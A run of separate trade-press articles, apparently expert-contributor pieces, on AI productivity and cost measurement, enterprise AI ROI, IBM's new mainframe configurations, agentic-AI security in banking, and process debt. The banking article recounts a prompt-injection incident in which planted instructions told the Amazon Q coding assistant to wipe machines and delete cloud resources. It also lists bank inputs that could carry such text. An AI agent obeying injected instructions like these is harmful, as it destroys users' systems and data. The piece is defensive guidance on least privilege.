But employee productivity in general? That’s a tough one to measure, and not just for Lululemon. One obvious way might be to look at layoffs in professions exposed to AI. After all, the headlines are everywhere. But in a report released in March, Anthropic found no signs of an increase in unemployment in highly exposed professions, those in which people are most likely to be laid off due to AI.

In early 2025, research firm METR attempted to quantify developer productivity by comparing how fast experienced developers were able to achieve tasks with AI and without. The result? Developers said they were expecting AI to speed them up by 24%, and estimated that AI had actually sped them up by 20%. But the data showed an altogether different story. Their use of AI actually slowed them down by 19%.

Of course, AI tools are getting better. METR attempted to do a follow-up study, again tracking tasks done with and without AI, but they couldn’t find enough developers willing to go back to the no-AI approach, even though the researchers were paying them to participate in the study.

There are anecdotal reports of companies where one engineer does the work of a hundred by using AI. Or that time the entire half-million-line Claude Code codebase was accidentally leaked and Korean developer Sigrid Jin created a clean-room rebuild in two hours, which he then pushed to GitHub, where it became the fastest project in history to hit 100,000 stars.

But as with anything else having to do with AI, the real picture is more complicated. With software development in particular, typing the code is actually just a fraction of what’s involved in developing software.

Research firm DX recently analyzed key engineering metrics from 400 companies, and in a recent report found that AI usage increased by 65% since November 2024, but AI-related productivity was just under 10%.

Hidden costs

Just as it’s difficult to measure the productivity benefits of AI, it can also be tricky to measure the costs. When a company first starts using AI, costs might be relatively simple to estimate. What’s the total monthly subscription charges for the AI chatbots that employees are using? What’s the cost of training or fine-tuning a custom model? But when you move on to more complex use cases, the calculations get more difficult, says Averill.

“Now there are all the systems around the AI,” she says. “Those are harder to measure, but the impact is bigger.”

For example, if AI is embedded into business processes using RAG, there’s the ongoing expense of the API calls, but also the changes that need to be made to other systems, she says. And it just keeps getting more complicated every day.

“We haven’t taken a very concerted effort to putting telemetry and instrumentation in place,” says Swaminathan Chandrasekaran, global head of AI and data labs at KPMG. He says that getting a comprehensive picture of the total costs of AI in an enterprise is like predicting the weather.

“The reason we have a pretty awesome weather prediction system in this country is because we have tens of thousands of weather stations that aggregate data,” he says. “Without that, we wouldn’t know the weather.”

Companies need to set up instrumentation to measure all the aspects of AI-related consumption, he says, starting with the number of tokens used, who’s using them, and how it correlates to work output.

“That measurement is fundamentally lacking,” he says.

At least when humans are using AI chatbots, there’s a limit to how many questions they’re physically able to ask, combined with predictable subscription costs. And when business processes are AI-enabled via RAG, the API calls to LLMs are being made by predictable, traditionally-scripted business systems.

But now, agentic AI is making everything worse because the agents can act unpredictably, and the number of API calls can quickly spiral out of control. In a report by the Boston Consulting Group, two-thirds of companies are reporting uncontrollable AI scaling expenses.

Another cost some companies might not anticipate well, or not track because it’s part of a different budget, is data-related cost. Whether preparing data for training or fine-tuning, using RAG embeddings, or setting up direct MCP access via agents, these costs can quickly add up when AI comes into the picture.

“Egress fees are one of the big ones,” says Tom Coughlin, IEEE fellow and president of consulting firm Coughlin Associates. “If you have to bring data out of the cloud, those egress fees could be considerable.”

Then there are all the human costs of deploying AI, he adds.

“There’ll be a lot of value that people get out of AI in the long run, but they need to know how to use it properly,” he says. “If they don’t have those skills, you’ll be at a disadvantage.”

Solutions and mixed messages

Then there’s fixing problems. A majority of companies have had at least one AI-related incident in the last 18 months, with most resulting in financial loss, some over $500,000. Then there’s the AI that’s being embedded in everything.

“We know our direct costs,” says Andrew Johnson, CIO at Brownstein Hyatt Farber Schreck, a leading national law firm. “But where it becomes more difficult to measure is with platforms we already have in place, and SaaS applications that didn’t have AI capabilities,” he says. “They’re asking for extraordinary increases and attribute them to new capabilities due to AI. How much should be ascribed to AI? That’s a little wishy-washy.”

Even when AI saves money, there are often extra costs associated with that. For example, the firm was spending about $70,000 a year on a contract management platform. Building their own version with AI took about $40,000 in labor costs and another $3,000 a year for hosting. Ongoing maintenance will be minor for that particular application, he adds, totaling another couple of thousand a year.

But there are also other indirect costs that come with running your own applications, including security audits, vulnerability assessments, penetration tests, and code review.

“The more complex and riskier the platform, the less appetite there is for trying to create an in-house solution,” he says.

Still, the software development team is now dramatically more productive as a result of AI, with four or five developers able to do the work of 20 or 30.

But the productivity improvements don’t translate to labor savings, since there’s plenty of new work for the developers to do. “We have an enormous backlog of opportunities to develop solutions,” he says.

The tendency of work to expand to fill the time available isn’t just true for software development, says Carnegie Mellon’s Rao.

Say for example, AI is expected to lead to a 20% improvement in productivity, he says. “There were a hundred people doing it, and now we only need 80.” But at the end of the year, headcount hasn’t changed. “The tasks they were doing, there’s improvement,” he adds “But humans will add tasks to supplement or complement that 20%. It’s not that they’re going home an hour early, but they’re finding other value-generating activities.”

In fact, in some cases, increased productivity at a company can actually hurt the bottom line. Lawyers, for example, bill by the hour.

“Efficiency runs counter to our traditional ways of making money,” says Brownstein’s Johnson. “We have to think past that. It’s not detrimental to our long-term interest, but it’s a challenge in the short term. If we don’t do this, though, it’s likely we won’t be competitive in the mid- to long-term.”

So if a new AI tool helps an attorney with due diligence, there’s no straight line between the investment in that tool and increased revenues.

“It’s a given that it’s directionally right,” Johnson says. “But we can’t say it’s going to lead to a particular return.”

Anthropic says Claude now writes more than 80% of the code merged at one of the most sophisticated AI companies on the planet. Foundry’s 2026 State of the CIO study says fewer than one in five enterprises can show that their AI initiatives have met or exceeded their ROI goals. Both numbers came out this spring. Both are true. And the distance between them is the most important thing an IT leader can understand about AI right now.

Because that distance isn’t a contradiction, it’s a lesson. And the profession sitting in the middle of it, software engineering, is the canary that explains why so much enterprise AI spend has produced so little measurable return.

The report everyone misread

When Anthropic published its recursive self-improvement piece, plenty of people read it as the starting gun for the job apocalypse. Claude writing its own code, models getting better at building models, humans narrowing toward oversight. If you wanted a headline about the end of the software profession, it was right there.

I read it almost the opposite way. What struck me wasn’t how far AI had come. It was how much had to be true first, even in the one profession built from the ground up to let it succeed.

I made this argument back in my “$570K canary” piece, and the Anthropic data only sharpens it. AI coding agents don’t work because coding models are special. The underlying large language models (LLMs) are the same ones answering support tickets and reviewing contracts. They work because software development already had the infrastructure that makes an agent’s output trustworthy: governance baked into branch protection and code review, observability through version control and CI/CD pipelines, evaluation through automated tests, persistent context through commit history. Developers built all of that for themselves over decades. They didn’t build it for AI. But it turned out to be exactly the scaffolding AI needed.

That’s the part the apocalypse reading skips. Claude’s coding gains are real. They also rode on decades of pre-built substrate. Both things are true at once, and the second one is the one CIOs should be paying attention to when it comes to gains from things like recursive self-improvement.

What the CIO data actually shows

Now hold that next to the State of the CIO numbers. Only 19% of the 662 IT leaders surveyed say their AI initiatives have met or exceeded business goals. Another 18% admit fewer than a third of their use cases are hitting defined expectations.

The easy explanation is that the technology isn’t ready. The data says otherwise. This isn’t for lack of trying, and it isn’t for lack of organizing. Eighty-three percent of respondents have stood up cross-functional steering committees or are about to. Just over half have some form of AI approval process in place, with another quarter building one. Forty-seven percent have formal success metrics, with a third more on the way. The field is pouring effort into the organizational machinery of AI. The ROI still isn’t showing up.

Here’s why I think that is. All of that machinery sits above the work. Steering committees, approval gates and KPI dashboards govern the org chart. But the value, or the leak, happens inside the workflow, at the level of the actual task the AI is doing. You can instrument your governance structure perfectly and still have nothing measuring whether the agent’s output was right at the point where it mattered.

TIAA shows how little the org chart settles. The firm is three years in, runs generative and agentic use cases across fraud detection and call centers, and has 85% of its people on TIAA Gate, its internal platform. It also has the full governance stack most CIOs are still assembling. None of it closed the gap. “You need to understand the full cost of operations,” its chief operating, information and digital officer, Sastry Durvasula told CIO.com, “the efficiencies of running tokens or how you’re handling traffic or RAG.” The structures were never the thing leaking value. The workflow underneath them was.

The barriers respondents named back this up. The top three are lack of in-house expertise (40%), ill-defined ROI metrics (32%) and murky corporate AI strategy (31%). Not one of them is “the model isn’t good enough.” And according to the full Foundry report, the expertise gap is deepest in healthcare (52%), retail (51%) and manufacturing (49%), the sectors whose core work looks least like a software development lifecycle. That’s consistent with substrate being the real variable, though a tighter market for AI talent in those industries is surely part of the story too.

The market is already voting

Look at where the AI is actually being pointed, and you’ll see enterprises sequencing by substrate even though nobody’s calling it that. Three-quarters of both IT leaders and line-of-business respondents say AI is primarily being used to automate internal processes rather than customer-facing applications.

That’s not timidity. It’s instinct pointing at the right thing. Internal processes are the ones with structured, observable workflows and users who tolerate a little friction. Customer-facing work is where the trust gaps are still wide open and the cost of a wrong answer is asymmetric. A bad internal draft gets fixed before anyone sees it. A bad customer answer is the whole ballgame.

I’ll be honest about a wrinkle in the data here, because a careful reader will catch it. The same study reports a near-mirror finding, that 66% to 69% of respondents say the bulk of their current AI work is customer-facing. The two stats sit a paragraph apart in the CIO study and almost certainly reflect how the question was framed rather than a real reversal. But the synthesis holds either way: even where customer-facing work is being attempted, it’s where ROI is least realized. The work that lands is the work with the substrate underneath it. The split only reinforces the point.

Sequence by readiness, not by ambition

So, here’s the prescription, and it cuts against the instinct most AI strategies are built on. Stop sequencing your AI portfolio by where the value looks biggest. Start sequencing it by where the work already has, or can be given, a structured workflow with a usable signal for whether the output was right.

The study itself shows what the alternative looks like. Andrea Ballinger, CIO at Rensselaer Polytechnic Institute, described the trap precisely. No one measures ROI on an ongoing basis, she said, “because we are facing counterpressures from every vice president and line-of-business domain looking to implement AI for their own optimization.” The result: “We are saying yes to everyone without stepping back and focusing on the business cases that show real value.” That’s value-led sequencing under pressure from every budget-holder in the building, and it’s exactly how you end up with a sprawling pipeline of pilots and a 19% success rate.

The counterexample comes from the same study. Thomas Prommer, a longtime CTO, CIO and CAIO, funds outcomes instead of deliverables. “We don’t fund ‘build a model,’ we fund ‘reduce returns by 8% on this category’ with checkpoints at 90, 180 and 270 days,” he explained. He kills any project that misses two checkpoints, “roughly a third of what we start, and that’s healthy.” Read that through the substrate lens and you see what he’s really doing. He’s manufacturing a correctness signal where the work didn’t come with one. He’s building the missing piece of scaffolding by hand.

That gives you a simple lens to run any candidate use case through. Does the work break into discernible stages? Can you observe what happens at each one? Is there a usable signal for whether the result was right? Score high on all three and you have a software-engineering-shaped problem, so go now. Score low and you have a choice: build the substrate first or wait. What you shouldn’t do is fund it at scale and hope the ROI materializes, because that’s the pile the 19% number is built on.

The hard part, and the honest caveat

Run the professions through that lens and they sort themselves. Finance is the closest cousin to software. Reconciliation, close processes, approval chains and audit trails already give you staged work with a clear “it reconciles or it doesn’t” signal, which is part of why financial services sits among the sectors furthest along with AI. Legal and medicine are harder. The workflow shell exists, intake to redline to filing, diagnosis to treatment to follow-up, but the correctness signal at the core is weak, delayed or confounded. You can automate the routine staged parts and you hit a wall at the judgment that defines the profession.

And that’s the caveat that keeps this honest. A structured workflow isn’t always buildable in software’s image. For the judgment core of some professions, the substrate is years out no matter how good the model gets or how mature your governance becomes. Anyone selling you a tighter timeline than that is selling.

But notice what this reframe does. It turns “our AI ROI is elusive” from a mystery you wait out into a sequencing-and-instrumentation problem you can actually test. Your timeline isn’t set by how smart the next model is. It’s set by how fast you build the substrate for your own domain, and that’s within your control.

The two numbers, reconciled

Put the 80% and the 19% back next to each other and they stop looking like a paradox. Software engineering didn’t win because its models were better than everyone else’s. It won because the work was already shaped to let an agent succeed, and the scaffolding that makes agent output trustworthy had been in place for decades before the agent showed up.

The question for the rest of the enterprise was never really whether AI can do the work. It’s whether your work is shaped so AI’s output can be trusted. That’s not something you wait for. It’s something you build.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

IBM is looking to expand the reach of its foundational mainframe portfolio by adding new single frame and rack mounted versions of its Z and LinuxONE systems.

The IBM z17 portfolio adds a single frame and rack mount versions that bring mainframe capabilities into smaller, customizable footprints. The LinuxONE Rockhopper family gets a single frame and rack mount models, plus a new Express rack mount offering, that target new and smaller clients, according to Tina Tarquinio, chief product officer, IBM Z & LinuxONE.

Specifically, the new hardware includes:

• z17 single frame is a fully packaged box in an IBM rack with intelligent power distribution units, delivered as a complete enclosed unit ready to deploy at the edge or other strategically important customer sites.
• z17 rack mount lets customers install IBM Z components directly into their own industry-standard rack, with built-in flexibility for co-location with other technologies.
• LinuxONE Rockhopper 5 is a multi-drawer LinuxONE system for high-density workloads, with on-chip AI acceleration, confidential computing, and postquantum cryptography available in both single frame and rack mount configurations.
• Rockhopper 5 rack mount and Express offerings deliver enterprise-grade Linux, confidential computing, and on-chip AI acceleration in a compact 18U configuration. Designed for organizations supporting a smaller set of workloads, the offering provides a cost-efficient entry point that can scale as business grows, while prioritizing security, resiliency, and performance.

The new IBM z17 and IBM LinuxONE 5 Rockhopper configurations support up to 82 cores and 18 TB of memory across two processor drawers, representing about a 20% increase in core count and 12% increase in memory capacity over current systems, IBM stated. Single processor capacity of an IBM z17 ME2 provides full speed IBM z/OS configurations including 10% greater throughput per core than IBM z16 A02 with some variation based on workload and configuration, according to Tarquinio.

Both systems feature a 5.5 GHz IBM Telum II processor and a built-in AI accelerator that IBM says will let customers run more than 450 billion inferencing operations in a day with one millisecond response time. In addition, the 32-core Spyre AI accelerator is designed to handle all manner of AI workloads.

The idea is to bring the core strengths of IBM Z to a broader range of deployment models while offering the security, resilience, and performance enterprises depend on, Tarquinio said. 

“As always, we’re continuing to innovate to deliver more with less, including up to 20% more capacity than IBM z16 to help process transactions faster and support growing AI-driven workloads,” Tarquinio said.  “Even the newest and smallest member of the IBM z17 family delivers the performance, efficiency, and scalability organizations need as they balance growth ambitions with real-world resource constraints.”

For the Linux-based system, Rockhopper 5 is for organizations that have moved past the evaluation question and are ready to consolidate a substantial portion of their x86 estate, said Marcel Mitran, IBM Fellow and CTO of IBM LinuxONE. 

Rockhopper 5 is designed to bring a smaller physical footprint and a software licensing model that reflects actual workload boundaries rather than physical server counts, Mitran said.

The LinuxONE 5 Express is a preconfigured system designed to get organizations running on LinuxONE quickly, with a defined bill of materials and a predictable starting cost, on the same architecture that the largest enterprises in the world depend on, Mitran said.

“It is built for organizations that want to consolidate a modest x86 estate, evaluate LinuxONE for the first time, or deploy a specific workload such as digital assets, AI-infused transaction processing, or confidential computing, without committing to the footprint of the larger model,” Mitran said.

Some of the mainframes’ software features were also bulked up. For example, IBM said that Post Quantum Cryptography security is now standard on the z17 and LinuxONE Rockhopper 5 systems letting customers start to utilize cryptography to protect core resources for the future.

The idea is to help customers protect long-lived, mission-critical data while reducing the cost and complexity of future cryptographic migration, IBM stated. 

In that vein, IBM said it was bringing Crypto Discovery & Inventory, which lets security teams see what has been encrypted across the enterprise. In addition, IBM announced an Infrastructure Management for Z and LinuxONE package that would let customers administer, monitor, automate, and provision IBM Z and LinuxONE systems from a central location.

IBM said it wants to reduce operational complexity for customers by making automating day-to-day operations to ultimately lower administrative costs and concerns. With the new flexible form factors, IBM continues to target hybrid and AI infrastructure buildouts with the Big Iron. In the AI world, the z17 is being utilized for AI inferencing, transactions, training, and key security applications such as fraud detection and insurance claims.

“Enterprise infrastructure is entering a new phase. Organizations need platforms that can support AI-driven growth while navigating resource constraints, evolving business requirements, and increasingly complex hybrid environments,” Tarquinio said. “They are being asked to deploy new AI capabilities while learning new skills, controlling operational costs, and maximizing the value of existing applications and infrastructure.”

A recent IBM Institute study on mainframe usage stated that embedding mainframe to support AI in executing transactions is not temporary: 75% of executives expect mainframe-based applications to remain central to digital transformation, and 60% say mainframe-based platforms are essential to enabling AI innovation.

”Mainframe-anchored systems of record are becoming systems of intelligent execution—not as general‑purpose AI platforms, but as environments where AI acts directly within transactions and in support of them,” the study reported.

Gartner wrote in its “The State of the IBM Mainframe in 2026” report that IBM’s willingness to make significant investments ensure the mainframe modernizes to remain a vital and thriving component of enterprise IT.  

“Most mainframe customers are now prioritizing the reduction of technical debt and adopting platform innovations to future-proof their mainframe environments for the coming decade,” Gartner wrote.

The new z17 single frame and rack mount configurations, LinuxONE Rockhopper 5, and LinuxONE 5 Express will all be available August 12, 2026. IBM Infrastructure Management for IBM Z and IBM LinuxONE will be available August 14.

A copilot that gives a wrong answer is a quality problem. An AI agent that takes a wrong action is an incident, sometimes a reportable one. That single difference is most of the story of where banking AI security is heading, and most banks’ current controls were built for the first kind of problem, not the second.

For two years, the AI a bank had to worry about mostly read and summarized. It drafted a customer email, pulled the gist of a credit memo, answered a relationship manager’s product question. The security questions were about disclosure: could the model see data it shouldn’t, could it leak that data in an answer. Redaction, output filtering and a human reading the response before it went anywhere were reasonable defenses.

Banks have moved past that, faster than most security programs have. The newer systems are agents. They don’t just answer; they act. An agent can pull a customer’s full transaction history, call a fraud-scoring service, adjust a limit or start a payment workflow, chaining several to finish a task with no human in between. Banks are among the most aggressive adopters of agentic AI, and they are pushing it into production faster than most security programs have kept pace with, which means they are also among the first to inherit the security problem that comes with it.

I’d put that problem in one phrase: overprivileged agents. The risk is no longer mainly what the model can see. It is what the agent is allowed to do inside systems that move money and hold regulated data.

This is no longer only a vendor’s warning. On April 30, 2026, the cyber agencies of the Five Eyes nations issued their first joint guidance on securing agentic AI, Careful Adoption of Agentic AI Services. Six agencies signed it, two of them American (CISA and the NSA), alongside the lead agencies of the UK, Australia, Canada and New Zealand. It names privilege as the leading category of agentic risk and calls strict least privilege critical. When five governments coordinate on a single control, “best practice” becomes “expected practice” quickly. For a CISO, that moves the timeline up.

What “too much authority” actually looks like

OWASP’s breakdown of the failure mode it calls excessive agency maps cleanly onto a bank. Excessive functionality is an agent that can reach tools its task never needed, like a servicing agent that can also touch the payments API “just in case.” Excessive permissions is the right tool at the wrong scope: a reconciliation agent meant only to read, running with credentials that can also write. Excessive autonomy is a consequential action with no human in the loop: a fee reversed, a limit raised, a record changed, with nothing checking it. In practice these rarely appear alone; they compound.

The canonical example is mundane: an agent that reads one user’s data through an account that can see everyone’s. Translate that to a bank and it becomes an agent that can query every customer’s records to answer a question about one. That is the confused-deputy problem: the agent acts with the full authority of whatever identity it borrowed, while taking instructions from input an attacker may control.

The mechanism, from a real incident

The clearest public illustration so far comes from developer tooling rather than banking, but the mechanism is identical. In July 2025, an attacker used an over-scoped build token to slip malicious code into the open-source repository behind the Amazon Q Developer extension for VS Code, and it shipped in an official release (CVE-2025-8217). The injected instructions told the AI assistant to wipe the local machine and delete cloud resources, down to specific S3 buckets and EC2 instances. The assistant could reach the local filesystem, the shell and AWS CLI tools, so structurally little stood between those instructions and real damage. What stopped them was a bug: the payload had a syntax error and never ran, and AWS found no customer environments affected. But the extension had been installed close to a million times, and the margin of safety was an accident.

The uncomfortable part is not that the agent was “hacked” in the usual sense. Had the attacker’s code been written correctly, the agent would have done exactly what the injected text told it, through a channel it trusted. The lesson: an agent with broad tools, write access and no approval gate is dangerous not only when someone steals its credentials, but any time someone can reach its input. And in a bank, reachable inputs sit everywhere an agent reads text it did not author: the memo line on a wire, a customer’s email in a dispute, a PDF uploaded to a loan file, a free-text field in a KYC record. This is indirect prompt injection, and the defenses for it are still partial. You cannot reliably solve it by instructing the agent to behave. You solve it by limiting what it is able to do, regardless of what it is told.

What I keep seeing in deployments

In the redaction-control work I’ve done with banks, the gap is rarely the model. It is that the agent gets wired to the data and the tools first; what it should be allowed to reach gets asked later, if at all.

One pattern recurs. A customer-servicing agent is wired into the core banking system to resolve account queries. To answer a simple question, it pulls the customer’s entire profile into context: full account number, date of birth, the complete transaction narrative. The task needed the last four digits and a list of recent transactions; the agent got everything, and each field then sat in prompts, logs and traces never scoped as sensitive data. The fix was not a sharper prompt. It was moving redaction to the retrieval boundary, so those fields were tokenized before they reached the agent, and scoping its read access to the one customer in the open case, not the whole table.

The other half of the problem is authority, not data. That same agent often shares a service account with a batch job, so it can write to fields well beyond a customer’s question. A dedicated identity with its own scoped, short-lived credentials is unglamorous work, but it is the difference between an agent that can read one case and one that can quietly change thousands.

Extending controls banks already have

The reassuring part is that banks are not starting from zero. Maker-checker, segregation of duties, four-eyes approval, least privilege, immutable audit: this is muscle memory in a bank. The work is extending it to a non-human actor that runs at machine speed.

Give the agent its own managed identity with narrowly scoped, short-lived credentials instead of letting it borrow an employee’s session. That is the direct fix for the confused-deputy problem, and what the joint guidance asks for. Scope tools per task and per resource: read versus write, and which accounts, not a blanket grant. Put irreversible, high-impact actions (moving money, changing entitlements, closing accounts, exporting bulk data) behind explicit approval gates, the human-in-the-loop the guidance reserves for high-cost actions. Redact at the data-access boundary, not only on the output: an agent that never retrieves the full account number cannot leak it downstream. And log the agent’s plan and every tool call, not just its final answer, because in an agentic system the damage lives in the actions.

Why the clock is real

Regulation has put a date on this. India’s Digital Personal Data Protection Rules were notified on November 14, 2025; the institutional provisions are already in force, and the substantive obligations (purpose limitation, data minimization, breach notification) take full effect in May 2027. Under that lens, an agent that can reach more customer data than its task requires is not only a security weakness; it is a data-minimization and accountability problem. Banks under GDPR or the EU AI Act face the same logic from a different statute.

One honest caveat: none of these laws actually names AI agents. Mapping their principles onto agent authorization is interpretation and prudent risk management, and each bank should work the specifics through with its own legal and compliance teams rather than treat the matter as settled.

The trade-offs nobody has solved

None of this is free. Approval gates work against the entire reason to deploy an agent: gate every action and you have rebuilt a slower manual process. Deciding which actions to gate, and which can run autonomously within tight scope, is a real design problem that turns on each workflow’s blast radius. Logging every plan and tool call produces audit volume most pipelines were not built for. Standards for agent identity are still immature, and the agent supply chain is itself an attack surface, as the Amazon Q case showed.

These are real tensions, not problems with clean answers. But the governance gap that the 2026 surveys keep finding is not a story of banks failing to deploy agents. It is controls trailing agents that are already running. The alternative, porting copilot-era defenses onto agents and trusting output filters, guards the wrong door.

Banks are hitting this first because they are ahead. That is also the opportunity: the institutions that settle their agent authorization model now, while deployments are still small enough to change course, will not just avoid the incident. They will set the pattern everyone else copies.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

The PC was heralded as revolutionary; it was going to save time, revolutionize our work… But it became an opportunity lost. Paper became digital files. Filing cabinets became shared drives. Memos became email. We sometimes worked faster. We did not necessarily work differently. And we certainly did not work more efficiently. The underlying logic: approval chains, reporting cycles, hierarchies and incentives remained intact.

The internet and smartphones followed the same pattern, compressing time and distance. But neither forced enterprise changes. The tools changed. The organizational model did not. This stagnation is referred to as the Solow Productivity Paradox, a historic mismatch between massive technology investments and flat corporate productivity. And while the Internet boom did see a raise in productivity, it was due to investment in hardware, not so much due to a change in how we worked, as explained by Robert Gordon in The New Economy: What Productivity Miracle?

And now there’s Artificial Intelligence, AI. AI presents a different kind of challenge because it intervenes in cognition itself. It reaches much closer to the operating logic of the enterprise than previous technology waves.

Yet, once again, the response is surface adaptation rather than structural reinvention. AI is layered onto inherited workflows, old approval thresholds, unclear accountability structures and sprawling software, then expecting cost savings to follow. And again, it is the investments in AI that garner any growth, not changes in corporate infrastructure.

This is not transformation. It is acceleration without reform. And this “slap on AI” will have as much long-term impact as the PC.

Automation = efficiency? Wrong

Chief information officers are under intense pressure to turn AI into measurable financial outcomes. In boardrooms, expectations are explicit: deploy AI, automate, reduce operating cost and show results within a budget cycle.

A central misunderstanding in AI programs is the assumption that if a process is costly and labour-intensive, automation creates efficiency. Unfortunately, what appears as inefficiencies are normalized fragmentations. With AI, hidden workflow contradictions become both significant and visible. Organizations discover it wasn’t running a slow but clean process. It was running an incoherent process that relied on human buffering to keep it functioning. This is precisely why so many AI efforts disappoint immediately after a dazzling pilot, degenerate into AI strategy theatre and fail to scale.

When one part of the workflow becomes lightning-fast, but the surrounding process remains fractured, escalations multiply and the IT department, despite having done its job perfectly, is asked to fix the operational fallout with more tooling, more integration, more controls and more spend. The problem is rarely technical. But it becomes so very quickly.

I increasingly think the more useful concept here is process debt. CIOs are already comfortable talking about technical debt and its complexities. Process debt is the upstream generator of that complexity. It accumulates when temporary fixes become permanent, when controls are added without removing older ones and when incidents leave behind workflows nobody dares to challenge. Over time, the process stops reflecting deliberate design and starts reflecting institutional memory, risk aversion and unresolved negotiations between functions.

Case study 1: The regulated approval-heavy process

I was brought into a regulated organization that wanted to identify opportunities for automation. The assumption was that technology was the main constraint. Workflows involved multiple reviews, approvals and handovers between departments. From a distance, it looked like an obvious candidate for automation.

It was a familiar situation: delays, duplicated effort and frustration with how long routine work was taking to complete. The process seemed overstaffed and underdesigned. The natural conclusion was that automation could remove unnecessary tasks and improve speed.

But as I began interviewing the stakeholders, a different picture emerged. Every group could explain its role in the workflow. But the more I listened, the clearer it became that nobody could describe the process as a coherent whole.

What appeared to be an inefficient process was a process that had accumulated layers of governance without ever being reassembled into a consistent operating model. One approval had been added after an audit finding. Another had been introduced during a restructuring. A third existed because of a past incident. None of those approvals looked unreasonable in isolation. Together, they produced a workflow that nobody owned and with approval layers nobody could justify.

From the CIO’s perspective, this translated into technology sprawl. Unaligned and multiple IT systems were being used to support adjacent parts of the workflow. Software had been purchased to manage steps that shouldn’t have existed in the first place. This meant the entire nature of the automation discussion shifted. The strategic question was no longer which step should be automated first. It was whether those steps deserved to exist at all.

Only after the CIO and I brought the business units together to confront these structural dependencies did the process align and technology become part of the answer. Without that preliminary work, automation would simply have moved a poorly understood process faster while expanding the expensive software estate needed to govern it.

That engagement reinforced my conviction that many workflows presented as automation candidates are not ready for automation because they are not sufficiently coherent to automate.

Uncomfortable questions

Because these questions are operationally and politically sensitive, businesses will try to avoid them and hand the unmapped mess directly to IT. As a strategic partner, the CIO must guide the C-suite through these uncomfortable but necessary inquiries before deploying AI into enterprise workflows:

• Does this process need to exist at all?
• Where are decisions actually made in day-to-day practice? Not according to policy documentation, but according to the informal networks of people who actually know how to navigate the exceptions.
• Which parts of the workflow exist because of corporate history rather than necessity?
• Where do decision rights shift between teams without anyone acknowledging it?

AI systems do not handle ambiguities gracefully. Answering these questions upfront determines whether implementing AI will mean genuine savings or simply move organizational incoherence through the enterprise at lightning speed.

Three-layer governance

Governance is the ultimate reason why AI cannot be treated as a traditional technology delivery program with a bit of business input tacked on at the end. Because AI fundamentally alters how enterprise decisions are informed and executed, its deployment must be shaped by an integrated operating and governance framework.

CIOs can evaluate an organization’s true AI readiness based on three interdependent governance layers. By mastering these, the technology stack is protected from being forced to compensate for bad business design.

1. Organizational governance. Core questions: Is this workflow genuinely needed, who actually owns it and what risk or quality definitions are binding across separate business functions? This is a cross-departmental leadership question. It must be resolved by the business units first, or IT inevitably inherits the resulting operational complexity.
2. Endpoint or tool governance. Core questions: How are outputs interpreted when cognitive work is partially or fully delegated to machines? This layer defines exactly where a human-in-the-loop remains mandatory, how exceptions are escalated to specialists and how accountability is maintained when an AI agent makes an optimized operational prediction.
3. Platform governance. Core questions: What is the foundational security, privacy and technical guardrails? This includes LLM/model selection, vendor standards, data privacy compliance, integration rules and continuous monitoring. Paradoxically, this is the layer most organizations focus on first—yet, because it exists entirely to support the processes and tools above it, it should actually be the last to be set in stone.

These layers interlinked. A weakness in one undermines the others. This is where CIOs become strategically important. They are the executives who see when process incoherence is converted into architectural complexity, application sprawl, higher license costs and long-term support burdens. AI decisions without that perspective and organizations will once again confuse digitization with transformation.

Case Study 2: A downstream bottleneck and the structural solution

In another engagement, the business pushed for an AI-driven intake solution. Frontline teams were spending massive amounts of time on repetitive customer data coordination and document verification. On paper, it was an outright victory: IT delivered an AI agent that dropped data extraction times by 85% with an exceptional accuracy rate. In every sense of the word – the pilot was a triumph. And it was phased to implementation.

Within six weeks, the illusion shattered. While the intake layer was now running at lightning speed, the downstream validation process still relied on traditional compliance handoffs, manual fraud checks and legacy database updates. The AI didn’t solve the operational problem; it simply shoved massive volumes of data into a rigid pipeline that was never designed for that velocity.

Escalation queues exploded. The operations team, buried under an unprecedented backlog, began making manual bypass decisions just to keep up, creating immense operational risk.

Rather than allowing IT to be blamed for the downstream chaos, the CIO and I suggested a structural solution. First, we halted further automated intake scaling and used visual process-mapping data to show the rest of the C-suite exactly where the digital pipeline was hitting an analogue wall.

Second, we championed a cross-functional “value stream” redesign. After much negotiation, we managed to leverage the AI’s data-validation outputs to eliminate three manual review steps downstream and replace them with exception-only automated alerts. Finally, we renegotiated the risk-threshold parameters with the legal and compliance teams, shifting accountability from a multi-stage sign-off to a centralized, systemic audit log.

The solution wasn’t adding more software; it was picking the process apart, data point by data point, to align the business rules with machine capabilities. The result was a substantially trimmer, automated end-to-end stream that freed up human resources, allowed redundant software licenses to be safely withdrawn and actually realized the promised financial savings.

Conclusion

Every CIO knows that AI matters. The real challenge facing enterprises whether the executive leadership team is willing to confront what AI inevitably reveals about the fragmented processes, legacy habits and siloed systems organizations have been carrying for decades.

This is why the broad promise of immediate AI savings is overstated. Automation can produce staggering enterprise value, but it cannot create structural coherence on its own. If a workflow is fractured, historically layered and dependent on invisible human intervention, adding AI will not turn it into an efficient system. It will simply scale, cement and automate the weaknesses that were already there.

The CIO’s ultimate responsibility is to ensure that technically incoherent processes do not get permanent residency in the business architecture. This is why the CIO must have a leading seat at the strategic table. Incoherent processes invariably turn into application sprawl, redundant tooling, excess licensing costs, integration debt and massive security exposure.

To avoid this trap, enterprise AI deployment requires cross-departmental leadership willing to examine which work should be automated, which must be completely redesigned and which should be eliminated. 

If not, we will simply repeat the costly errors of past technology shifts: preserve the outdated operating logic, throw a shiny new layer of tooling on top and call the expensive result “transformation.” This time, the bill will be significantly larger. Not because AI is mysterious, but because it is brutally efficient at exposing the waste that organizations used to hide inside their people, their processes and their software.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?